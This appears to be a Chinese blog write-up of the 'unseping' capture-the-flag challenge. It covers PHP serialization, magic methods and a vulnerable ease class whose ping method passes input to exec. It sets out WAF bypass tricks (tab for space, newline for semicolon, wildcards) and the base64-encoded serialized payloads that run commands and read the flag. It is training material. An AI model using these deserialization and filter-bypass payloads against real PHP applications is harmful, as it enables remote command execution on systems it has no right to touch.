攻防世界 unseping

知识点:

  • 序列化格式
    • NULL被序列化为:N

      Boolean型数据序列化为:b:1,b:0,分别代表True和False

      Integer型数据序列化为:i:数值

      String型数据序列化为:s:长度:"值"

      对象序列化为:O:类名长度:类名:字段数:字段

    • 例子

      • O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:2:"ls";}}
        
        O:对象
        4:对象名占字节数
        ease:对象名
        2:内部变量数
        s:字符串类型
        6:变量名占6个字节
        method:变量名
        s:字符串类型
        4:对应值所占字节数
        ping:method变量的值为ping
        s:字符串类型
        4:数组名四个字节
        args:数组名
        a:数组类型
        1:一个数组成员
        i:整数类型(指下标)
        0:给i赋值为0
        s:字符串类型
        2:后面字符串所占字节数  ls占两个字节
        ls:具体的字符串内容
        
        
        

    • php中常用魔术方法

      • __construct:当对象被创建时调用

        __destruct:当对象被销毁前调用

        __sleep:执行serialize函数前调用

        __wakeup:执行unserialize函数前调用

        __call:在对象中调用不可访问的方法时调用

        __callStatic:用静态方法调用不可访问方法时调用

        __get:获得类成因变量时调用

        __set:设置类成员变量时调用

  • 题中waf绕过的方法(这题重点就是waf绕过)
    • 空格绕过:\t进行替换
    • ;绕过:\n替换
    • cat/tac绕过:head、tail进行替换
    • ls绕过:dir替换
    • flag、php绕过:这些是在访问文件的时候使用的,可以使用* ?等匹配符号进行绕过
      • 只针对相似文件名少的情况,如flag 和fl* f* fla*等
  • 这里强推一下Kimi助手,免费又好用的ai程序网站,需要的自取

解题思路

题目地址:http://61.147.171.105:57275/

访问地址发现出现了一堆的源代码,借助Kimi助手进行代码审计;发现需要进行序列化操作
<?php
highlight_file(__FILE__);

//定义了一个ease类
class ease{
    
    //两个私有成员
    private $method;
    private $args;
    //构造函数初始化赋值
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    //析构函数 对象构造结束自动执行;若成员method='ping',则调用ping函数,并将args的内容作为参数执行
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
    //手写的ping函数  exec是命令执行函数,执行变量ip的内容并将结果传递给result变量中,最后打印输出
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }
    //waf检测  匹配用户输入的内容中是否有 | & ; 空格 / cat flag tac php ls 等特殊字符;没有则返回字符串,有则输出don't hack并结束进程
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
    //该函数在unserialize执行前执行;遍历数组进行waf检测(检测用户输入是否有敏感信息)
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}
//利用post方法读取ctf参数的值
$ctf=@$_POST['ctf'];
//对ctf的值进行base64解码然后再进行反序列化
@unserialize(base64_decode($ctf));
?>
Kimi助手分析结果展示

这段代码是一个典型的 PHP 代码示例,可能用于某种 CTF(Capture The Flag)挑战。以下是对代码的分析

代码功能分析:

highlight_file(__FILE__);
    这行代码会将当前文件的内容以高亮显示输出。通常用于调试,展示代码本身。

ease 类
    包含以下私有属性:
    $method:存储方法名。
    $args:存储方法的参数。

构造函数:
    接收 $method 和 $args,并分别赋值给类的私有属性。

__destruct 方法:
    如果 $method 是 "ping",则调用 call_user_func_array 执行 $this->method 方法,并传入 $this->args 作为参数。

ping 方法:
    接收 $ip 参数,使用 exec 执行系统命令,并将结果存储在 $result 中,最后输出 $result。

waf 方法:
    对输入字符串 $str 进行正则匹配,如果包含某些危险字符(如 |, &, ;, 空格, /, cat, flag, tac, php, ls),则输出 "don't hack",否则返回原字符串。

__wakeup 方法:
    在对象被反序列化时调用,对 $this->args 中的每个值调用 waf 方法进行过滤。

$ctf 和 unserialize
    从 $_POST['ctf'] 获取用户输入的值。
    使用 base64_decode 对输入值进行解码。
    使用 unserialize 对解码后的数据进行反序列化。

安全问题分析

反序列化漏洞
    PHP 的 unserialize 函数可以反序列化用户输入的数据,并且会触发对象的魔术方法(如 __destruct 和 __wakeup)。
    如果用户能够控制 $_POST['ctf'],他们可以通过构造恶意的序列化数据来触发 __destruct 方法中的代码执行,从而导致代码注入攻击。

exec 命令注入
    在 ping 方法中,直接将 $ip 参数传递给 exec 函数执行系统命令。
    如果 $ip 参数没有经过严格的过滤,攻击者可以通过构造恶意的 $ip 值来执行任意系统命令。

WAF 绕过
    waf 方法虽然对输入进行了正则匹配,但正则表达式可能存在绕过方式。例如,攻击者可以通过编码、转义或使用其他特殊字符来绕过检测。

漏洞利用思路
    攻击者可以通过以下步骤利用漏洞:
    构造一个恶意的序列化对象,使其在反序列化时触发 __destruct 方法。
    在 __destruct 方法中,通过 call_user_func_array 调用 ping 方法,并传入恶意的 $ip 参数。
    利用 ping 方法中的 exec 函数执行系统命令。

例如,攻击者可以构造如下序列化数据:
    O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:18:";ls;";}}
    然后将其 Base64 编码后提交到 $_POST['ctf'] 中。反序列化后,__destruct 方法会被触发,调用 ping 方法并执行 ls 命令。
重点给出了一个反序列化示例
O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:18:";ls;";}}

通过分析是需要将序列化的对象进行base64加密后再传输给ctf参数的

利用python写一个加密脚本(之后只需要修改序列化对象中args的值就行了)
import base64
str='O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:16:"cd\tfl*\nhead\tfla*";}}'
str_en=base64.b64encode(str.encode('utf-8'))
str_de=base64.b64decode(str_en).decode('utf-8')
print(str_en)
print(str_de)

尝试读取文件列表

构造读取当前目录下文件内容的序列化对象
O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:2:"ls";}}
通过运行脚本得到了加密后的数据
Tzo0OiJlYXNlIjoyOntzOjY6Im1ldGhvZCI7czo0OiJwaW5nIjtzOjQ6ImFyZ3MiO2E6MTp7aTowO3M6MjoibHMiO319

抓包给ctf赋值上传后得到了回显 don't hackNULL

这说明输入信息被waf检测到了,证明了序列化是没问题的,接下来就需要绕过waf

经过不断的尝试发现dir命令是可以出结果的

构造序列化对象:

O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:6:"dir\t-l";}}

加密后结果:

Tzo0OiJlYXNlIjoyOntzOjY6Im1ldGhvZCI7czo0OiJwaW5nIjtzOjQ6ImFyZ3MiO2E6MTp7aTowO3M6NjoiZGlyCS1sIjt9fQ==

上传得到了当前目录下的文件列表,找到了flag所在的文件夹flag_1s_here

接下来要读取flag所在文件夹下的文件列表

构造序列化对象:

O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:10:"cd\tfl*\ndir";}}

加密后:

Tzo0OiJlYXNlIjoyOntzOjY6Im1ldGhvZCI7czo0OiJwaW5nIjtzOjQ6ImFyZ3MiO2E6MTp7aTowO3M6MTA6ImNkCWZsKgpkaXIiO319

上传成功找到了flag文件:flag_831b69012c67b35f.php

接下来读取该文件内容即可得到flag

构造序列化对象:

O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:16:"cd\tfl*\nhead\tfla*";}}

加密后:

Tzo0OiJlYXNlIjoyOntzOjY6Im1ldGhvZCI7czo0OiJwaW5nIjtzOjQ6ImFyZ3MiO2E6MTp7aTowO3M6MTY6ImNkCWZsKgpoZWFkCWZsYSoiO319

上传后成功得到了flag:cyberpeace{a6868d120a2568db9dbb6585f365f9d3}

10

    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包

    打赏作者

    I_WORM

    大佬们,赏点儿碎银吧~~

    ¥1 ¥2 ¥4 ¥6 ¥10 ¥20
    扫码支付:¥1
    获取中
    扫码支付

    您的余额不足,请更换扫码支付或充值

    打赏作者

    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值